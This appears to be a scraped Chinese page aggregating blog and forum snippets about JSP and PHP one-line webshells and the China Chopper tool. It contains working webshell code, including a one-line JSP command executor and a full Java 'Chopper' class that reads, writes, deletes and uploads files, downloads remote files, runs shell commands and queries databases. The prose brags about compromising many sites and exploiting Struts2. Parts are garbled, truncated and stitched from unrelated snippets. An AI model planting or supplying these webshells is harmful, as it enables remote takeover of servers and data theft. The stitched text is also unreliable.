-
2022-04-07 15:24:59
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
更多相关内容 -
cat.jar与jsp一句话木马的博客文章相对应,配套使用
2020-06-27 20:13:56cat.jar与jsp一句话木马的博客文章相对应,配套使用,具体使用方法参见文章jsp一句话木马总结 -
JSP一句话木马
2021-01-13 05:06:54import java.io.BufferedInputStream;import java.io.BufferedReader;import java.io.BufferedWriter;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;...import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLClassLoader;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.Statement;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Map;
public class Chopper{
public static String getPassword() throws IOException {
return "023";
}
String cs = "UTF-8";
String encoding(String s) throws Exception {
return new String(s.getBytes("ISO-8859-1"), cs);
}
Connection getConnection(String s) throws Exception {
String[] x = s.trim().split("\r\n");
try {
Class.forName(x[0].trim());
} catch (ClassNotFoundException e) {
boolean classNotFound = true;
BufferedReader br = new BufferedReader(new InputStreamReader(this.getClass().getResourceAsStream("/map.txt")));
String str = "";
while ((str = br.readLine()) != null) {
String[] arr = str.split("=");
if (arr.length == 2 && arr[0].trim().equals(x[0].trim())) {
try {
URLClassLoader ucl = (URLClassLoader) ClassLoader.getSystemClassLoader();
Method m = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
m.setAccessible(true);
m.invoke(ucl, new Object[]{new URL(arr[1])});
Class.forName(arr[0].trim());
classNotFound = false;
break;
} catch (ClassNotFoundException ex) {
throw ex;
}
}
}
if (classNotFound) {
throw e;
}
}
if (x[1].contains("jdbc:oracle")) {
return DriverManager.getConnection(x[1].trim() + ":" + x[4],
x[2].equalsIgnoreCase("[/null]") ? "" : x[2],
x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);
} else {
Connection c = DriverManager.getConnection(x[1].trim(),
x[2].equalsIgnoreCase("[/null]") ? "" : x[2],
x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);
if (x.length > 4) {
c.setCatalog(x[4]);
}
return c;
}
}
void listRoots(ByteArrayOutputStream out) throws Exception {
File r[] = File.listRoots();
for (File f : r) {
out.write((f.getName()).getBytes(cs));
}
}
void dir(String s, ByteArrayOutputStream out) throws Exception {
File l[] = new File(s).listFiles();
for (File f : l) {
String mt = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date(f.lastModified()));
String rw = f.canRead() ? "R" : "" + (f.canWrite() ? " W" : "");
out.write((f.getName() + (f.isDirectory() ? "/" : "") + "\t" + mt + "\t" + f.length() + "\t" + rw + "\n").getBytes(cs));
}
}
void deleteFiles(File f) throws Exception {
if (f.isDirectory()) {
File x[] = f.listFiles();
for (File fs : x) {
deleteFiles(fs);
}
}
f.delete();
}
byte[] readFile(String s) throws Exception {
int n;
byte[] b = new byte[1024];
BufferedInputStream bis = new BufferedInputStream(new FileInputStream(s));
ByteArrayOutputStream bos = new ByteArrayOutputStream();
while ((n = bis.read(b)) != -1) {
bos.write(b, 0, n);
}
bis.close();
return bos.toByteArray();
}
void upload(String s, String d) throws Exception {
String h = "0123456789ABCDEF";
File f = new File(s);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < d.length(); i += 2) {
os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));
}
os.close();
}
void filesMove(File sf, File df) throws Exception {
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (File z1 : z) {
filesMove(new File(sf, z1.getName()), new File(df, z1.getName()));
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[1024];
while ((n = is.read(b)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
}
void fileMove(File s, File d) throws Exception {
s.renameTo(d);
}
void mkdir(File s) throws Exception {
s.mkdir();
}
void setLastModified(File s, String t) throws Exception {
s.setLastModified(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").parse(t).getTime());
}
void downloadRemoteFile(String s, String d) throws Exception {
int n = 0;
FileOutputStream os = new FileOutputStream(d);
HttpURLConnection h = (HttpURLConnection) new URL(s).openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[1024];
while ((n = is.read(b)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
}
void inputStreamToOutPutStream(InputStream is, ByteArrayOutputStream out) throws Exception {
int i = -1;
byte[] b = new byte[1024];
while ((i = is.read(b)) != -1) {
out.write(b, 0, i);
}
}
void getCurrentDB(String s, ByteArrayOutputStream out) throws Exception {
Connection c = getConnection(s);
ResultSet r = s.contains("jdbc:oracle") ? c.getMetaData().getSchemas() : c.getMetaData().getCatalogs();
while (r.next()) {
out.write((r.getObject(1) + "\t").getBytes(cs));
}
r.close();
c.close();
}
void getTableName(String s, ByteArrayOutputStream out) throws Exception {
Connection c = getConnection(s);
String[] x = s.trim().split("\r\n");
ResultSet r = c.getMetaData().getTables(null, s.contains("jdbc:oracle") ? x.length > 5 ? x[5] : x[4] : null, "%", new String[]{"TABLE"});
while (r.next()) {
out.write((r.getObject("TABLE_NAME") + "\t").getBytes(cs));
}
r.close();
c.close();
}
void getTableColumn(String s, ByteArrayOutputStream out) throws Exception {
String[] x = s.trim().split("\r\n");
Connection c = getConnection(s);
ResultSet r = c.prepareStatement("select * from " + x[x.length - 1]).executeQuery();
ResultSetMetaData d = r.getMetaData();
for (int i = 1; i <= d.getColumnCount(); i++) {
out.write((d.getColumnName(i) + " (" + d.getColumnTypeName(i) + ")\t").getBytes(cs));
}
r.close();
c.close();
}
void executeQuery(String cs, String s, String q, ByteArrayOutputStream out, String p) throws Exception {
Connection c = getConnection(s);
Statement m = c.createStatement(1005, 1008);
BufferedWriter bw = null;
try {
boolean f = q.contains("--f:");
ResultSet r = m.executeQuery(f ? q.substring(0, q.indexOf("--f:")) : q);
ResultSetMetaData d = r.getMetaData();
int n = d.getColumnCount();
for (int i = 1; i <= n; i++) {
out.write((d.getColumnName(i) + "\t|\t").getBytes(cs));
}
out.write(("\r\n").getBytes(cs));
if (f) {
File file = new File(p);
if (!q.contains("-to:")) {
file.mkdir();
}
bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.contains("-to:") ? p.trim() : p + q.substring(q.indexOf("--f:") + 4, q.length()).trim()), true), cs));
}
while (r.next()) {
for (int i = 1; i <= n; i++) {
if (f) {
bw.write(r.getObject(i) + "" + "\t");
bw.flush();
} else {
out.write((r.getObject(i) + "" + "\t|\t").getBytes(cs));
}
}
if (bw != null) {
bw.newLine();
}
out.write(("\r\n").getBytes(cs));
}
r.close();
if (bw != null) {
bw.close();
}
} catch (Exception e) {
out.write(("Result\t|\t\r\n").getBytes(cs));
try {
m.executeUpdate(q);
out.write(("Execute Successfully!\t|\t\r\n").getBytes(cs));
} catch (Exception ee) {
out.write((ee.toString() + "\t|\t\r\n").getBytes(cs));
}
}
m.close();
c.close();
}
public String doPost(Maprequest) throws IOException {
cs = request.get("z0") != null ? request.get("z0") + "" : cs;
ByteArrayOutputStream out = new ByteArrayOutputStream();
try {
char z = (char) request.get(getPassword()).getBytes()[0];
String z1 = encoding(request.get("z1") + "");
String z2 = encoding(request.get("z2") + "");
out.write("->|".getBytes(cs));
String s = new File("").getCanonicalPath();
byte[] returnTrue = "1".getBytes(cs);
switch (z) {
case 'A':
out.write((s + "\t").getBytes(cs));
if (!s.substring(0, 1).equals("/")) {
listRoots(out);
}
break;
case 'B':
dir(z1, out);
break;
case 'C':
String l = "";
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
while ((l = br.readLine()) != null) {
out.write((l + "\r\n").getBytes(cs));
}
br.close();
break;
case 'D':
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
bw.write(z2);
bw.flush();
bw.close();
out.write(returnTrue);
break;
case 'E':
deleteFiles(new File(z1));
out.write("1".getBytes(cs));
break;
case 'F':
out.write(readFile(z1));
case 'G':
upload(z1, z2);
out.write(returnTrue);
break;
case 'H':
filesMove(new File(z1), new File(z2));
out.write(returnTrue);
break;
case 'I':
fileMove(new File(z1), new File(z2));
out.write(returnTrue);
break;
case 'J':
mkdir(new File(z1));
out.write(returnTrue);
break;
case 'K':
setLastModified(new File(z1), z2);
out.write(returnTrue);
break;
case 'L':
downloadRemoteFile(z1, z2);
out.write(returnTrue);
break;
case 'M':
String[] c = {z1.substring(2), z1.substring(0, 2), z2};
Process p = Runtime.getRuntime().exec(c);
inputStreamToOutPutStream(p.getInputStream(), out);
inputStreamToOutPutStream(p.getErrorStream(), out);
break;
case 'N':
getCurrentDB(z1, out);
break;
case 'O':
getTableName(z1, out);
break;
case 'P':
getTableColumn(z1, out);
break;
case 'Q':
executeQuery(cs, z1, z2, out, z2.contains("-to:") ? z2.substring(z2.indexOf("-to:") + 4, z2.length()) : s.replaceAll("\\\\", "/") + "images/");
break;
}
} catch (Exception e) {
out.write(("ERROR" + ":// " + e.toString()).getBytes(cs));
}
out.write(("|
return new String(out.toByteArray());
}
}
-
如何使用JSP一句话木马和菜刀木马
2021-02-28 18:08:51展开全部相信用过一句话木马的黑阔们对中国32313133353236313431303231363533e4b893e5b19e31333337393033菜刀这个程序不会感到陌生,小弟也曾使用PHP一句话木马轻松lcx了很多站。近期Struts2重定向漏洞疯狂来袭,...展开全部
相信用过一句话木马的黑阔们对中国32313133353236313431303231363533e4b893e5b19e31333337393033菜刀这个程序不会感到陌生,小弟也曾使用PHP一句话木马轻松lcx了很多站。近期Struts2重定向漏洞疯狂来袭,不少黑阔们都摩拳擦掌、争先恐后的寻找属于自己的那群“小肉鸡”。由于工作需要,我也对几个站点做了Struts2重定向漏洞的测试,所有使用Struts2框架的网站安全问题均不容乐观,中标率几乎达到了85%以上。也许一场血雨腥风的Struts2漏洞利用潮即将来临。
说了这么多废话,本文的目的是什么呢?其实只是想记录一下JSP几种后门代码啦,因为曾经找JSP菜刀马找的老辛苦了。
1、首先是JSP一句话木马和它的客户端小伙伴。(小伙伴们都惊呆了~~~)
以下是服务端,保存成one.jsp并上传至目标服务器中。
通过使用一句话木马客户端连接one.jsp木马。
将下列代码保存为html页面:
JSP一句话木马客户端专用JSP木马连接器服务端地址你提交的代码
保存成的文件名:
服务端代码:保存完成后,打开html页面,写入一句话木马服务端地址,例如http://www.cto365.com/one.jsp,写入需要的代码和保存的文件名称点击保存即可。
2、中国菜刀能用的菜刀马
本文除了对jsp一句话木马进行了说明,还提供了一个中国菜刀能用的菜刀马。
将下列代码保存为xx.jsp并上传至目标服务器,使用中国菜刀工具进行连接。
2){c.setCatalog(x[2].trim());}return c;}void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+""+"|");if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"t");if(!s.substring(0,1).equals("/")){AA(sb);}}else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while((l=br.readLine())!=null){sb.append(l+"rn");}br.close();}else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"
已赞过
已踩过<
你对这个回答的评价是?
评论
收起
-
jsp一句话木马总结
2021-03-22 16:01:11Jsp 7—— include指令index.jsp %@page contentType="text/html; charset=UTF-8"%html head titleinclude指令/title /head body %-- 关于include指令: 1、a.jsp可以将b.jsp包含进来,当然被包含的资源不一定是jsp...Jsp 7—— include指令
index.jsp %@page contentType="text/html; charset=UTF-8"%html head titleinclude指令/title /head body %-- 关于include指令: 1、a.jsp可以将b.jsp包含进来,当然被包含的资源不一定是jsp,也可能是其它的网络资源 2、include作用: 在网页中有一些主体
Java 基础 - Java为什么要类型擦除
总结 一句话:为了兼容JDK 5 之前(有泛型功能之前)的项目,否则有大量代码修改的工作。 1-“真泛型”是怎么操作的 若Java 语言实现"真泛型",对泛型类型(泛型类、泛型接口)、泛型方法的名字使用特别的编码,例如将 FactoryT 类生成为一个名为 “Factory@@T
【复习回顾】封装
方法的封装 一句话: 属性私有,get/set 1.提高程序的安全性,保护数据 2.隐藏代码的实现细节 3.统一接口 4.增加系统可维护性 //学生类public class Student { //属性私有 private String name; private int age; private char sex; private int id; //提供
SpringBoot使用jsp展示页面
一、通过Maven坐标集成jsp JSP需要如下的三个依赖提供运行环境 内嵌的 tomcat容器,spring-boot-starter-web 包含了 spring-boot-starter-tomcat ,所以不需要再单独引入。 tomcat-embed-jasper 主要用来支持 JSP 的解析和运行。 jstl ,提供给Java Web开发
JSP基础知识
1.Servlet缺点 静态html与动态Java代码混在一起,难以维护; Servlet利用out.println()语句输出,开发效率低下; Eclipse调试困难,难发现错误 JSP解决了上述问题 2.JSP执行过程 JSP本身就是一种Servlet 浏览器向Tomcat发送要访问的jsp请求,Tomcat将jsp 转
小demo 旋转木马
小demo 旋转木马 !doctype htmlhtml lang="en"head meta charset="UTF-8" title翻转导航/title style body { /*添加透视*/ perspective: 1000px; } /*最外面的盒子*/ section { position: relative; width: 300px; height: 200px; background: url(img/pig.j
使用Jsp开发Web项目
1.简述 以前都是使用JSP页面开发,但是因为JSP无法实现Spring Boot的多种特性,所以Spring Boot不推荐使用JSP进行页面开发。 2.使用示例 引入 相关依赖 : !--JavaServer Pages Standard Tag Library,JSP标准标签库--dependency groupIdjavax.servlet/group
EL JSTL
大纲 1. JSP:1. 指令2. 注释3. 内置对象2. MVC开发模式3. EL表达式4. JSTL标签5. 三层架构 JSP: 1. 指令* 作用:用于配置JSP页面,导入资源文件* 格式:%@ 指令名称 属性名1=属性值1 属性名2=属性值2 ... %* 分类:1. page: 配置JSP页面的* contentType:等
解决SpringMVC只能访问jsp页面,不能访问html页面的问题
转载自:https://blog.csdn.net/weixin_43155301/article/details/88661889 一般我们在启动项目时,会有一个欢迎页,如下: welcome-file-list welcome-fileindex.html/welcome-file welcome-fileindex.jsp/welcome-file welcome-fileindex.htm/welcome-file
ServeltJSP进阶
Servlet与JSP进阶 来自mkw的视频课程的总结 1.前言 内容包括 掌握Java Web核心特性,Servlet核心对象以及JSP九大内置对象。主要有以下的内容: 请求结构 响应结构 请求转发重定向 Cookie Session ServletContext 与三大作用域 请求响应中文乱码问题解决 Web.
-
JSP一句话后门
2020-10-31 03:21:34JSP一句话后门 -
jsp一句话木马菜刀
2021-03-05 17:44:011.如何使用JSP一句话木马和菜刀木马相信用过一句话木马的黑阔们对中国菜刀这个程序不会感到陌生,小弟也曾使用PHP一句话木马轻松lcx了很多站。近期Struts2重定向漏洞疯狂来袭,不少黑阔们都摩拳擦掌、争先恐后的寻找... -
使用python连接JSP一句话木马
2021-08-24 21:36:44tomcat 的跟目录在 /usr/local/apache-tomcat-8.5.70/webapps/ROOT ,在该路目中写一个 JSP 一句话木马,名为 shell.jsp ,如下图所示(我已提前写好)。 最简单的 JSP 一句话,其内容为: ().exec(request.... -
蚁剑jsp一句话木马
2021-05-02 22:27:17参考链接:https://github.com/yzddmr6/JspForAntSword 密码为 passwd <%! class U extends ClassLoader { U(ClassLoader c) { super(c);... return super.defineClass(b, 0, b.length)... -
asp,php一句话木马整理方便查找木马
2021-01-02 22:18:47特把经常用到的网页后门的木马整理下,如果不全请大家补全他,大家在网站混口饭吃,都不容易何必呢 asp一句话木马 文件常见... 您可能感兴趣的文章:一句话木马入侵EASYNEWS新闻管理系统JSP一句话木马代码asp.net jsc -
Jsp 小后门,Jsp 一句话木马后门详解
2021-01-13 14:47:44一:执行系统命令:无回显执行系统命令:请求:http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls执行之后不会有任何回显,用来反弹个shell很方便。有回显带密码验证的:if("023".equals(request.getParameter("pwd")))... -
一句话木马
2013-07-03 10:42:20一句话木马 -
asp,aspx,php,jsp下的一句话木马
2021-04-16 12:04:15相当于ASP的一句话木马:程序代码alter database pubs set RECOVERY FULL--create table pubs.dbo.cmd(a image)backup log pubs to disk = 'c:\TM' with initinsert into pubs.dbo.cmd(a) values ('System.IO.... -
webshell一句话
2018-08-26 11:46:53php,jsp,asp等脚本的常用一句话拿webshell,然后用菜刀连接即可 -
一句话木马:JSP篇
2019-10-01 00:58:57JSP一句话收集: <%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> ... -
一句话木马的原理
2021-04-22 13:00:06使用蚁剑进行连接0x03 分析蚁剑连接原理0x04 加密的 ASP 一句话后门0x04 JSP一句话木马0x05 ASPX一句话 0x00 前言 常用的一句话后门工具分为 ASP、ASP.NET、JSP和 PHP 四种类型 0x01 解析 PHP 一句话木马的原理 常用... -
webshell与一句话木马
2019-06-23 14:36:08webshell就是以 asp、aspx、php、jsp 或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp、aspx、php或jsp后门文件与网站web服务器目录下正常的网页... -
一句话木马(webshell)是如何执行命令的
2021-05-15 23:10:34在很多的渗透过程中,渗透人员会上传一句话木马(简称webshell)到目前web服务目录继而提权获取系统权限,不论asp、php、jsp、aspx都是如此,那么一句话木马到底是如何执行的呢,下面我们就对webshell进行一个简单的... -
一句话木马小总结
2021-07-19 16:20:56一句话木马(简称Webshell)上传到目前web服务目录继而提权获取系统权限,不论asp、php、jsp、aspx都是如此 先来看看最简单的一句话木马: <?php @eval($_POST['attack' ]);?> 利用文件上传漏洞,往目标网站... -
蚁剑与一句话木马
2021-07-15 20:14:37一句话木马,又简称(webshell),在很多渗透测试时,渗透人员会上传一句话木马到目前web服务目录继而提权获取系统权限。 举一个关于php的例子 <?php @eval($_POST['syc']);?> 它的原理呢,是利用文件... -
一句话木马与中国菜刀
2018-10-30 13:04:05什么是一句话木马? 一句话木马就是一句简单的脚本语言,常见脚本语言的一句话木马如下 php:<?php @eval($_post['pass']);?> asp:<%eval request ("pass")%> aspx:<... -
一句话木马(godzilla)
2021-11-26 19:59:36下载godzilla 链接:https://pan.baidu.com/s/1zqZ_1I-oqFY4HvJiAJzqgw 提取码:vwlc 需要java环境 新建一个php文件 使用java打开godzilla ...打开网页后显示页面空白即为木马导入成功 ... -
php一句话cmdshell新型 (非一句话木马)
2020-12-18 01:26:40复制代码 代码如下:<?php /*一个新型的php一句话cmdshell(非一句话木马) //原理:php运行时如果遇见字符“(键盘上~符号... 您可能感兴趣的文章:asp,php一句话木马整理方便查找木马一句话木马的原理及利用分析(asp,asp